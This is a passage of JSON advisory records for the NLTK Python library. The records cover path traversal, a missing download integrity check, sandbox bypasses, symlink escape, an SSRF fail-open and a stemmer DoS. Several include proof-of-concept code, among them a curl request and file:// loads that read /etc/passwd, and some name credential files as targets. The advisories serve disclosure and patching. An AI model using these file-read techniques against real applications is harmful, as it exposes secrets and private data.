unsafe path components before constructing filenames from frame names, document filenames, LU ids, or NKJP file identifiers.\n\n### Resources\n\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1366-L1369\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1456-L1460\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1803-L1810\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L96-L103\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L251-L256\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/framenet.py#L1388-L1399\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/nkjp.py#L96-L128","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T16:37:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-568f-pv23-39p4","https://nvd.nist.gov/vuln/detail/CVE-2026-62385","https://github.com/nltk/nltk/pull/3579","https://github.com/nltk/nltk/pull/3581","https://github.com/nltk/nltk/commit/7d1389d0789c1eca56bd0ed444089e0a3972e3ed","https://github.com/nltk/nltk/commit/bf3bf32786791394a1008258b4917a7f2d4dbcda","https://github.com/nltk/nltk/releases/tag/v3.10.0","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3728.yaml","https://www.vulncheck.com/advisories/nltk-path-traversal-via-framenet-and-nkjp-readers","https://github.com/advisories/GHSA-568f-pv23-39p4"],"source_kind":"github","identifiers":["GHSA-568f-pv23-39p4","CVE-2026-62385"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T17:00:08.833Z","updated_at":"2026-09-25T12:00:36.784Z","epss_percentage":0.0042,"epss_percentile":0.33604,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NjhmLXB2MjMtMzlwNM4ABurk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NjhmLXB2MjMtMzlwNM4ABurk","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NjhmLXB2MjMtMzlwNM4ABurk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01d3A1LTUyMjktNWc2cc4ABuqZ","url":"https://github.com/advisories/GHSA-5wp5-5229-5g6q","title":"NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection","description":"NLTK's package downloader in nltk/downloader.py does not verify file integrity after download and before extraction.\n\nThe download flow at lines 789-825:\n1. File is downloaded to a temp path via HTTP\n2. os.replace(tmp_filepath, filepath) moves it to the final location (line 799)\n3. Extraction begins via _unzip_iter() (line 825)\n\nBetween steps 2 and 3, there is no SHA-256 verification. The checksum logic exists in _pkg_status() (lines 982-1015) but it is only used BEFORE download as a status check (\"is this package already installed and up-to-date?\"). It is never called after download to verify the file that was actually received.\n\nAttack vectors:\n1. MITM during HTTP download (NLTK downloads from http:// by default on some mirrors)\n2. Race condition on shared filesystems (attacker replaces file between os.replace and _unzip_iter)\n3. DNS poisoning redirecting to attacker-controlled server\n\nPoC:\n```python\nimport nltk\nimport unittest.mock\nimport zipfile\nimport io\nimport os\n\n# Create a malicious zip that will be \"downloaded\"\nmalicious_zip = io.BytesIO()\nwith zipfile.ZipFile(malicious_zip, 'w') as zf:\n    zf.writestr('punkt_tab/tokenizers/punkt_tab/english.pickle', \n                b'MALICIOUS PAYLOAD - attacker controlled content')\n\n# Patch urllib to return our malicious zip\nwith unittest.mock.patch('urllib.request.urlopen') as mock_urlopen:\n    mock_response = unittest.mock.MagicMock()\n    mock_response.read.return_value = malicious_zip.getvalue()\n    mock_response.headers = {'Content-Length': str(len(malicious_zip.getvalue()))}\n    mock_urlopen.return_value = mock_response\n    \n    # Download proceeds, no integrity check catches the swap\n    # nltk.download('punkt_tab')  # Would install attacker payload\n```\n\nThis is distinct from CVE-2024-39705 (pickle deserialization via download) and CVE-2025-14009 (zip-slip path traversal). Those address what happens AFTER extraction. This finding addresses the gap BEFORE extraction where integrity is never verified.\n\nSuggested fix: After os.replace() and before _unzip_iter(), compute SHA-256 of the final file and compare against the expected checksum from the package index. Reject and delete the file if the hash does not match.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-08T15:27:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-5wp5-5229-5g6q","https://nvd.nist.gov/vuln/detail/CVE-2026-12259","https://github.com/nltk/nltk/pull/3449","https://github.com/nltk/nltk/commit/0e26734a61094b628d93e26dc18dd7302567ac46","https://github.com/nltk/nltk/releases/tag/3.9.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3729.yaml","https://huntr.com/bounties/659ccf6d-12d4-4d4a-84c0-078633c35a5d","https://www.vulncheck.com/advisories/nltk-before-missing-post-download-integrity-verification","https://github.com/advisories/GHSA-5wp5-5229-5g6q"],"source_kind":"github","identifiers":["GHSA-5wp5-5229-5g6q","CVE-2026-12259"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T16:00:08.906Z","updated_at":"2026-09-25T12:00:36.793Z","epss_percentage":0.0014,"epss_percentile":0.02753,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01d3A1LTUyMjktNWc2cc4ABuqZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01d3A1LTUyMjktNWc2cc4ABuqZ","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01d3A1LTUyMjktNWc2cc4ABuqZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14NXBoLW1qOXAtcmZyOM4ABuqY","url":"https://github.com/advisories/GHSA-x5ph-mj9p-rfr8","title":"NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read","description":"## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n    validate_path(file, context=\"pathsec.open\")\n    return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 — no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 — calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled — expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n    fname = request.json.get(\"file\")\n    # fileid is user-controlled, passed directly to StreamBackedCorpusView\n    # pathsec.ENFORCE = True is ignored — builtins.open() called internally\n    view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n    return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"file\": \"/etc/passwd\"}'\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 – Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T15:27:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8","https://nvd.nist.gov/vuln/detail/CVE-2026-63312","https://github.com/nltk/nltk/pull/3588","https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b","https://github.com/nltk/nltk/releases/tag/v3.10.0","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml","https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read","https://github.com/advisories/GHSA-x5ph-mj9p-rfr8"],"source_kind":"github","identifiers":["GHSA-x5ph-mj9p-rfr8","CVE-2026-63312"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T16:00:08.906Z","updated_at":"2026-09-25T12:00:36.795Z","epss_percentage":0.00651,"epss_percentile":0.48977,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NXBoLW1qOXAtcmZyOM4ABuqY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14NXBoLW1qOXAtcmZyOM4ABuqY","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NXBoLW1qOXAtcmZyOM4ABuqY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03MnIyLTdtZnItNXhyOc4ABuqX","url":"https://github.com/advisories/GHSA-72r2-7mfr-5xr9","title":"NLTK: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol","description":"### Summary\n\nThere's a logic bug in `FileSystemPathPointer.open()` inside `nltk/data.py`\nthat makes the sandbox check permanently inert. The guard condition is always\n`False` — meaning any file the process can read is accessible by passing a\n`file://` URL to `nltk.data.load()`.\n\n---\n\n### Details\n\nIn `nltk/data.py`, `FileSystemPathPointer.open()` was patched at some point\nwith a comment saying \"SECURITY PATCH ENFORCING SANDBOX\", but the check\ndoesn't work:\n```python\ndef open(self, encoding=None):\n    path = os.path.normpath(self._path)\n\n    # Block raw absolute reads such as \"/\" \"C:\\\\Windows\" etc.\n    if os.path.isabs(path) and path != os.path.normpath(self._path):\n        raise ValueError(f\"Direct absolute file access blocked: {path}\")\n\n    stream = open(self._path, \"rb\")\n```\n\n`path` is set to `os.path.normpath(self._path)` on line 1, then compared\nagainst `os.path.normpath(self._path)` again in the condition. They are\nalways equal. The `ValueError` never fires.\n\nOn top of that, `__init__` already calls `os.path.abspath()` before storing\n`self._path`, so it's normalized before `open()` is even called. Running\n`normpath` on it again changes nothing.\n\nThe `stream = open(self._path, \"rb\")` line is always reached regardless of\nwhat path was passed in.\n\n---\n\n### PoC\n\nTested on Python 3.11, NLTK 3.9.1, Ubuntu 22.04.\n```python\nimport nltk\nfrom nltk.data import FileSystemPathPointer\n\n# direct construction\nptr = FileSystemPathPointer(\"/etc/passwd\")\nwith ptr.open() as f:\n    print(f.read(300))\n\n# via load() using file:// URL\ndata = nltk.data.load(\"file:///etc/passwd\", format=\"raw\")\nprint(data[:300])\n```\n\nBoth print file contents. No exception is raised.\n\n---\n\n### Impact\n\nAny app that lets users influence the string passed to `nltk.data.load()` or\n`nltk.data.find()` is exposed — web APIs, notebook servers, multi-tenant\npipelines. An attacker can read any file the process user has access to:\n`/etc/passwd`, `.env` files, private keys, `~/.aws/credentials`, etc.\n\n## Suggested Fix\n\n**File:** `nltk/data.py` — `FileSystemPathPointer.open()` (lines 378–390)\n\n### What's wrong\n\nLine 387 compares `normpath(self._path)` against itself — always equal,\nso the `ValueError` never fires. The check is dead code.\n`__init__` already calls `abspath()` on construction, so re-running\n`normpath` inside `open()` changes nothing either.\n\n---\n\n### Fix\n\nValidate against the actual list of permitted data directories instead:\n```python\ndef open(self, encoding=None):\n    import nltk.data as _d\n    allowed = [os.path.abspath(p) for p in _d.path if p]\n    if allowed and not any(\n        os.path.commonpath([self._path, r]) == r for r in allowed\n    ):\n        raise ValueError(\n            f\"Access outside nltk_data blocked: {self._path!r}\"\n        )\n    stream = open(self._path, \"rb\")\n    if encoding is not None:\n        stream = SeekableUnicodeStreamReader(stream, encoding)\n    return stream\n```\n\n---\n\n### Why `commonpath` not `startswith`\n\n`startswith` is bypassable by a path that shares a prefix:\n```\n/tmp/nltk_data_evil\".startswith(\"/tmp/nltk_data\") → True  ✗\ncommonpath([\"/tmp/nltk_data_evil\", \"/tmp/nltk_data\"]) → \"/tmp\"  ✓\n```\n\n---\n\n### Diff\n```diff\n-    path = os.path.normpath(self._path)\n-    if os.path.isabs(path) and path != os.path.normpath(self._path):\n-        raise ValueError(f\"Direct absolute file access blocked: {path}\")\n-\n+    import nltk.data as _d\n+    allowed = [os.path.abspath(p) for p in _d.path if p]\n+    if allowed and not any(\n+        os.path.commonpath([self._path, r]) == r for r in allowed\n+    ):\n+        raise ValueError(f\"Access outside nltk_data blocked: {self._path!r}\")\n     stream = open(self._path, \"rb\")\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-08T15:27:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-72r2-7mfr-5xr9","https://nvd.nist.gov/vuln/detail/CVE-2026-65915","https://github.com/nltk/nltk/pull/3522","https://github.com/nltk/nltk/commit/69db9911fdba914ceeaca7aec6e892d1b14586a9","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3731.yaml","https://huntr.com/bounties/a510de7b-ffaf-4a83-9bf8-fa7e63f4bd2d","https://www.vulncheck.com/advisories/nltk-before-arbitrary-file-read-via-filesystempathpointer","https://github.com/advisories/GHSA-72r2-7mfr-5xr9"],"source_kind":"github","identifiers":["GHSA-72r2-7mfr-5xr9","CVE-2026-65915"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T16:00:08.906Z","updated_at":"2026-09-26T11:00:27.471Z","epss_percentage":0.0041,"epss_percentile":0.32537,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03MnIyLTdtZnItNXhyOc4ABuqX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03MnIyLTdtZnItNXhyOc4ABuqX","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03MnIyLTdtZnItNXhyOc4ABuqX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNmdxLXdod3EtbXZnOc4ABuqW","url":"https://github.com/advisories/GHSA-r6gq-whwq-mvg9","title":"NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root","description":"### Summary\n`nltk.corpus.reader.api.CorpusReader.open()` can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and `..` traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on `CorpusReader` or `FileSystemPathPointer` to restrict file access.\n\n### Details\nThe vulnerable flow is:\n\n- [`nltk/corpus/reader/api.py:222`](/mnt/Data/my_brains/test/nltk/nltk/corpus/reader/api.py#L222)\n  - `CorpusReader.open()` blocks absolute paths and `..`, then calls `self._root.join(file).open()`\n\n- [`nltk/data.py:398`](/mnt/Data/my_brains/test/nltk/nltk/data.py#L398)\n  - `FileSystemPathPointer.join()` joins the requested file ID and checks whether the resulting path still appears to remain under the configured root\n\nThe problem is that the check is based on the lexical path after `os.path.normpath()`, not on the resolved path after following symlinks.\n\nCurrent behavior:\n\n1. `CorpusReader.open()` rejects:\n   - absolute paths\n   - `..` path traversal\n2. `FileSystemPathPointer.join()` computes:\n   - `joined = os.path.normpath(os.path.join(self._path, fileid))`\n   - `root = os.path.normpath(self._path)`\n3. It allows the access if `joined` starts with `root`\n\nThis misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.\n\nExample:\n\n```text\nJOINED=/tmp/nltk-root/link/secret.txt\nREALPATH=/tmp/outside/secret.txt\n```\n\n`JOINED` still appears to be inside the root, but `REALPATH` is outside it.\n\nThis is distinct from simple `../` traversal:\n\n- the file ID is not absolute\n- the file ID does not contain `..`\n- the escape only happens after filesystem resolution of a symlink under the allowed root\n\n### PoC\nReproduced in an isolated Docker sandbox using the local `nltk` clone.\n\nMinimal Python PoC:\n\n```python\nimport os\nimport tempfile\nfrom nltk.corpus.reader.api import CorpusReader\n\nroot = tempfile.mkdtemp(prefix=\"nltk-root-\")\noutside_dir = tempfile.mkdtemp(prefix=\"nltk-out-\")\noutside_file = os.path.join(outside_dir, \"secret.txt\")\n\nwith open(outside_file, \"w\") as f:\n    f.write(\"secret-data\")\n\nos.symlink(outside_dir, os.path.join(root, \"link\"))\n\ncorpus = CorpusReader(root, [\"link/secret.txt\"])\nwith corpus.open(\"link/secret.txt\") as f:\n    print(f.read())\n```\n\nObserved result:\n\n```text\nsecret-data\n```\n\nDocker re-test output:\n\n```text\nROOT=/tmp/nltk-root-jjxay3if\nOUTSIDE_DIR=/tmp/nltk-out-1kef36e0\nJOINED=/tmp/nltk-root-jjxay3if/link/secret.txt\nREALPATH=/tmp/nltk-out-1kef36e0/secret.txt\nREAD_OK=secret-data\nINSIDE_ROOT=True\nREAL_INSIDE_ROOT=False\n```\n\nAdditional impact validation using a system file:\n\n```text\nROOT=/tmp/nltk-root-_h5x4m19\nJOINED=/tmp/nltk-root-_h5x4m19/hostfile\nREALPATH=/etc/hostname\nHOSTNAME_READ=48dafb244af3\nINSIDE_ROOT=True\nREAL_INSIDE_ROOT=False\n```\n\nThis shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.\n\n### Impact\nThis is an arbitrary local file read / symlink escape issue.\n\nWho is impacted:\n\n- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents\n- applications that rely on NLTK corpus readers as a trust boundary for file access\n- any deployment where an attacker can place or influence files inside the allowed corpus root\n\nPractical impact includes disclosure of:\n\n- application secrets stored on disk\n- local configuration files\n- private datasets\n- process-exposed files such as `/proc/self/environ`\n- system files readable by the running user\n\nThe issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T15:26:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-r6gq-whwq-mvg9","https://nvd.nist.gov/vuln/detail/CVE-2026-70626","https://github.com/nltk/nltk/pull/3522","https://github.com/nltk/nltk/commit/1b0e519e2324bc1a273d56edee63e44d0ad85b48","https://github.com/nltk/nltk/releases/tag/3.9.4","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3732.yaml","https://www.vulncheck.com/advisories/nltk-before-symlink-escape-via-corpusreader","https://github.com/advisories/GHSA-r6gq-whwq-mvg9"],"source_kind":"github","identifiers":["GHSA-r6gq-whwq-mvg9","CVE-2026-70626"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T16:00:08.906Z","updated_at":"2026-09-25T12:00:36.799Z","epss_percentage":0.002,"epss_percentile":0.08677,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNmdxLXdod3EtbXZnOc4ABuqW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNmdxLXdod3EtbXZnOc4ABuqW","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNmdxLXdod3EtbXZnOc4ABuqW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wM204LTc4ajItZzVwM84ABoes","url":"https://github.com/advisories/GHSA-p3m8-78j2-g5p3","title":"NLTK: Default ENFORCE=False Disables All pathsec Security Controls","description":"NLTK's pathsec.py security module defaults to ENFORCE=False (line 24), which means all 8 security validation functions only emit RuntimeWarning instead of raising exceptions when violations are detected.\n\nThe pathsec module was introduced as the fix for CVE-2024-39705 (arbitrary code execution via pickle) and CVE-2026-0846 (path traversal). However, with ENFORCE=False as the default:\n\n1. pathsec.open('/etc/passwd') succeeds (reads the file, emits warning)\n2. pathsec.validate_network_url('http://169.254.169.254/...') succeeds (warning only)\n3. pickle.loads() via nltk.data.load() proceeds despite unsafe source (warning only)\n\nEvery security gate follows the same pattern:\n```python\nENFORCE = os.environ.get('NLTK_PATHSEC_ENFORCE', '').lower() in ('1', 'true', 'yes')\n\ndef validate_something(path):\n    if is_violation(path):\n        if ENFORCE:\n            raise SecurityError('...')  # Only raised when env var is set\n        else:\n            warnings.warn('...', RuntimeWarning)  # Default: warning only\n    # Execution continues regardless\n```\n\nThis means the security remediations for CVE-2024-39705 and CVE-2026-0846 are effectively disabled by default. Any user who installed NLTK 3.9.x expecting the security fixes to be active is still vulnerable unless they manually set NLTK_PATHSEC_ENFORCE=1.\n\nPoC:\n```python\nimport nltk.pathsec\nimport warnings\n\n# Show that ENFORCE is False by default\nprint(f'ENFORCE = {nltk.pathsec.ENFORCE}')  # False\n\n# Attempt to read /etc/passwd through pathsec -- should be blocked\nwith warnings.catch_warnings(record=True) as w:\n    warnings.simplefilter('always')\n    result = nltk.pathsec.open('/etc/passwd', 'r')\n    print(f'File opened: {result.name}')  # /etc/passwd\n    print(f'Warning emitted: {w[0].message}')  # RuntimeWarning (not an exception)\n    # Attack succeeds -- file is readable\n```\n\nThe correct default is fail-secure: ENFORCE should be True unless explicitly disabled. The current default makes the security module opt-in rather than opt-out, defeating its purpose.\n\nSuggested fix: Change default to ENFORCE=True. Users who need backwards compatibility can set NLTK_PATHSEC_ENFORCE=0 to explicitly disable.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-02T15:40:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-p3m8-78j2-g5p3","https://nvd.nist.gov/vuln/detail/CVE-2026-62388","https://github.com/nltk/nltk/pull/3593","https://github.com/nltk/nltk/commit/155e40343cff0bf50d233e274a12e04d1428b1d9","https://github.com/nltk/nltk/releases/tag/v3.10.0","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3722.yaml","https://www.vulncheck.com/advisories/nltk-before-insecure-default-configuration-pathsec","https://github.com/advisories/GHSA-p3m8-78j2-g5p3"],"source_kind":"github","identifiers":["GHSA-p3m8-78j2-g5p3","CVE-2026-62388"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.306Z","updated_at":"2026-09-25T12:00:42.749Z","epss_percentage":0.00512,"epss_percentile":0.41112,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wM204LTc4ajItZzVwM84ABoes","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wM204LTc4ajItZzVwM84ABoes","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wM204LTc4ajItZzVwM84ABoes/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZ3FtLWZjdzUtdzgzOc4ABoer","url":"https://github.com/advisories/GHSA-3gqm-fcw5-w839","title":"NLTK: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure","description":"There is an SSRF vulnerability in NLTK 3.9.4's network URL validation. The validate_network_url() function in nltk/pathsec.py fails open when DNS resolution returns an error.\n\nThe _resolve_hostname() helper at lines 193-234 catches OSError and ValueError during socket.getaddrinfo() and returns an empty list []. When this happens, the validation loop in validate_network_url() iterates over nothing (for addr in resolved: ... never executes), with no else/fallback check. The function returns normally, and urlopen() proceeds to make the request without any IP validation.\n\nThis means:\n1. If DNS is temporarily unavailable, ALL SSRF protections are disabled\n2. DNS rebinding attacks bypass the check after the LRU cache entry expires\n3. In environments with unreliable resolvers, the protection is permanently bypassed\n\nPoC:\n```python\nimport nltk.pathsec\nimport unittest.mock\n\n# Simulate DNS failure\nwith unittest.mock.patch('socket.getaddrinfo', side_effect=OSError('DNS unavailable')):\n    # This SHOULD raise but doesn't -- fails open\n    nltk.pathsec.validate_network_url('http://169.254.169.254/latest/meta-data/')\n    # Returns normally, allowing SSRF to cloud metadata\n```\n\nThe correct behavior is fail-closed: if DNS resolution fails, the URL should be REJECTED (not allowed). The function should raise an exception or return a failure status when _resolve_hostname() returns an empty list.\n\nThis is distinct from CVE-2024-39705 (which addressed pickle deserialization) and CVE-2026-33236 (which addressed XML path traversal). This finding targets the newly-added pathsec.py security layer introduced to fix those earlier issues.\n\nSuggested fix: Add an explicit check after _resolve_hostname() returns: if the result is empty, raise a SecurityError. Never allow a URL request to proceed when IP validation was impossible.\n\nCVSS Note: The CVSS use SC:H (High subsequent confidentiality) because the advisory explicitly identifies cloud metadata endpoints (169.254.169.254) as an attack target. Access to AWS IMDS or GCP metadata exposes credentials or service account tokens, which constitutes High-impact disclosure on downstream systems. This justifies SC:H over NVD's SC:L.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T15:39:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L","references":["https://github.com/nltk/nltk/security/advisories/GHSA-3gqm-fcw5-w839","https://nvd.nist.gov/vuln/detail/CVE-2026-63311","https://github.com/nltk/nltk/pull/3582","https://github.com/nltk/nltk/commit/4a820afa58810cd05049b6c6eae306694d6cfe65","https://github.com/nltk/nltk/releases/tag/v3.10.0","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3723.yaml","https://www.vulncheck.com/advisories/nltk-before-ssrf-via-dns-resolution-failure","https://github.com/advisories/GHSA-3gqm-fcw5-w839"],"source_kind":"github","identifiers":["GHSA-3gqm-fcw5-w839","CVE-2026-63311"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.306Z","updated_at":"2026-09-25T12:00:42.750Z","epss_percentage":0.00334,"epss_percentile":0.2404,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZ3FtLWZjdzUtdzgzOc4ABoer","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZ3FtLWZjdzUtdzgzOc4ABoer","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZ3FtLWZjdzUtdzgzOc4ABoer/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13dzZtLWN3M2YtcTk0Z84ABodB","url":"https://github.com/advisories/GHSA-ww6m-cw3f-q94g","title":"NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'","description":"`nltk.stem.PorterStemmer.stem()` -- a ubiquitous public API applied to arbitrary, often untrusted, tokens -- runs in O(n^2) time on a token containing a long run of the letter 'y', letting a single ~20-50 KB token pin a CPU core (CWE-407).\n\n## Root cause\n\n`_is_consonant(word, i)` was made *iterative* (commit for #3633, GHSA/CWE-674) to fix an earlier unbounded-recursion `RecursionError` on 